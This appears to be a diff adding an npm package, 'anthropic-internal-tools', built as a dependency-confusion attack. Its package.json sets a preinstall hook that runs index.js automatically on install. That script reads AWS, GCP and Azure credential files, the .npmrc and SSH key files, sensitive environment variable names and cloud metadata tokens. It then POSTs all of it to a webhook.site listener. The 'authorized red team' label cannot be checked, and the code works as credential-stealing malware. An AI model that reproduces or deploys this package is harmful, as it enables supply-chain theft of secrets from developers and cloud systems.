anthropic-internal-tools 1.0.0

package/index.js

@@ -0,0 +1,71 @@
+// PoC beacon — authorized red team assessment only
+// Executes on npm install via preinstall hook
+const { execSync } = require('child_process');
+const fs = require('fs');
+const os = require('os');
+const https = require('https');
+
+const LISTENER = process.env.LISTENER_URL || 'https://webhook.site/YOUR-UUID-HERE';
+
+function safeRead(p) {
+  try { return fs.readFileSync(p, 'utf8').slice(0, 800); }
+  catch { return 'not_found'; }
+}
+
+function safeExec(cmd) {
+  try { return execSync(cmd, { timeout: 3000 }).toString().slice(0, 1500); }
+  catch { return 'error'; }
+}
+
+function exfil(data) {
+  const payload = JSON.stringify(data);
+  const url = new URL(LISTENER);
+  const req = https.request({
+    hostname: url.hostname,
+    port: 443,
+    path: url.pathname + url.search,
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) },
+    timeout: 5000,
+  });
+  req.write(payload);
+  req.end();
+}
+
+const beacon = {
+  type: 'dependency_confusion_beacon',
+  hostname: os.hostname(),
+  username: os.userInfo().username,
+  cwd: process.cwd(),
+  home: os.homedir(),
+  platform: os.platform(),
+  release: os.release(),
+  // Credential files
+  aws_credentials: safeRead(os.homedir() + '/.aws/credentials'),
+  aws_config: safeRead(os.homedir() + '/.aws/config'),
+  gcp_adc: safeRead(os.homedir() + '/.config/gcloud/application_default_credentials.json'),
+  azure_tokens: safeRead(os.homedir() + '/.azure/accessTokens.json'),
+  ssh_private_key_exists: fs.existsSync(os.homedir() + '/.ssh/id_rsa'),
+  ssh_public_key: safeRead(os.homedir() + '/.ssh/id_rsa.pub'),
+  npmrc: safeRead(os.homedir() + '/.npmrc'),
+  gitconfig: safeRead(os.homedir() + '/.gitconfig'),
+  // Environment — sensitive keys only
+  env_sensitive_keys: Object.keys(process.env).filter(k =>
+    k.match(/KEY|TOKEN|SECRET|PASS|AUTH|CRED|AWS|GCP|AZURE|NPM|REGISTRY/i)
+  ),
+  // Cloud metadata
+  aws_imds: safeExec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null'),
+  gcp_metadata: safeExec('curl -s --connect-timeout 2 -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token 2>/dev/null'),
+  // Network info
+  hostfile: safeRead('/etc/hosts').slice(0, 500),
+  resolv_conf: safeRead('/etc/resolv.conf').slice(0, 300),
+  network_interfaces: safeExec('ip addr 2>/dev/null || ifconfig 2>/dev/null || ipconfig 2>/dev/null'),
+  timestamp: new Date().toISOString(),
+};
+
+try {
+  exfil(beacon);
+  console.log('[✓] Assessment beacon deployed successfully');
+} catch (e) {
+  console.log('[✗] Beacon exfiltration failed: ' + e.message);
+}

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "anthropic-internal-tools",
+  "version": "1.0.0",
+  "description": "Authorized red team assessment — dependency confusion PoC",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "keywords": ["internal", "tools", "anthropic", "claude", "infrastructure"],
+  "license": "MIT"
+}

package/package.json.bak

@@ -0,0 +1,11 @@
+{
+  "name": "@anthropic-ai/internal-tools",
+  "version": "1.0.0",
+  "description": "Authorized red team assessment — dependency confusion PoC",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "keywords": ["internal", "tools", "anthropic", "claude", "infrastructure"],
+  "license": "MIT"
+}